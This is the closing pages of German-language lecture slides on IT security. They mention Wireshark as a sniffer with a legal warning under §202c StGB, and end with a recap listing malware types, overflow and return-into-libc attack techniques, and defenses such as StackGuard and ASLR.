81 / 84 Wireshark Achtung! Hackerwerkzeug! ( 202c StGB droht) Sniffer und Analyzer
Screenshot eines typischen Dumps 82 / 84
Was haben wir gelernt? 83 / 84 Kategorien bösartiger Software Logische Bomben Hintertüren Trojaner Viren Würmer Angriffstechniken Buffer Overflow und Gegenmaßnahmen: Stackguard, Stackshield, W X, ASLR Return-into-Libc-Exploit Heap- und Integer-Overflow Logging einige Hackerwerkzeuge